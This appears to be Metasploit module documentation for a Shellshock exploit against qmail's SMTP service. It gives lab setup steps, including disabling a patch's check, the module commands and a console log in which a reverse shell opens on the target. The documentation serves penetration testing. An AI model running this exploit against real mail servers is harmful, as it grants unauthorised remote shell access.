## Vulnerable Application

Any qmail version (works on latest versions, qmail-1.03 and netqmail-1.06) running on a system with a vulnerable BASH (Shellshock). In order to execute code, /bin/sh has to be linked to bash (usually default configuration) and a valid recipient must be set on the RCPT TO field (usually admin@exampledomain.com). The exploit does not work on the "qmailrocks" community version as it ensures the MAILFROM field is well-formed.

## Setting up a vulnerable environment

Install Qmail on a Linux server with a shellshock vulnerable bash. Ensure that /bin/sh is linked to bash. Create an e-mail account on that qmail server. IMPORTANT: there is a community version of qmail, "qmailrocks" (http://qmailrocks.thibs.com/) which apply a patch that checks the vulnerable MAILFROM parameter. This version (with the patch applied) is NOT vulnerable. If you are using this version, change the "int mfcheck()" function on qmail-smtpd.c and ensure it returns always 0 (after applying the patch) and re-compile qmail-smtpd.

## Verification Steps

  1. `use exploit/unix/smtp/qmail_bash_env_exec`
  2. `set RHOST <target IP>`
  3. `set MAILTO <valid e-mail recipient>`
  4. `set payload cmd/unix/reverse`
  5. `set LHOST <local IP>`
  7. optionally set `RPORT` and `LPORT`
  8. `exploit`
  9. **Verify** a new shell session is started
  
## Options

### MAILTO

A valid e-mail recipient. Usually, admin@targetdomain.com can be used.

## Scenarios
**Tested on qmail-1.03 on Debian 6.0.6 (squeeze). BASH version 4.1.5(1).**

```
msf > use exploit/unix/smtp/qmail_bash_env_exec 
msf exploit(qmail_bash_env_exec) > set rhost 192.168.1.113
rhost => 192.168.1.113
msf exploit(qmail_bash_env_exec) > set mailto "admin@testqmail2.test"
mailto => admin@testqmail2.test
msf exploit(qmail_bash_env_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(qmail_bash_env_exec) > show options 

Module options (exploit/unix/smtp/qmail_bash_env_exec):

   Name    Current Setting        Required  Description
   ----    ---------------        --------  -----------
   MAILTO  admin@testqmail2.test  yes       TO address of the e-mail
   RHOST   192.168.1.113          yes       The target address
   RPORT   25                     yes       The target port (TCP)


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.102    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(qmail_bash_env_exec) > run

[*] Started reverse TCP double handler on 192.168.1.102:4444 
[*] 192.168.1.113:25 - Sending the payload...
[*] 192.168.1.113:25 - Sending RCPT TO admin@testqmail2.test
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo RvZfov9i2ZuveLXA;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "RvZfov9i2ZuveLXA\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 19 opened (192.168.1.102:4444 -> 192.168.1.113:48167) at 2017-05-04 15:11:02 +0200

whoami
vpopmail
```
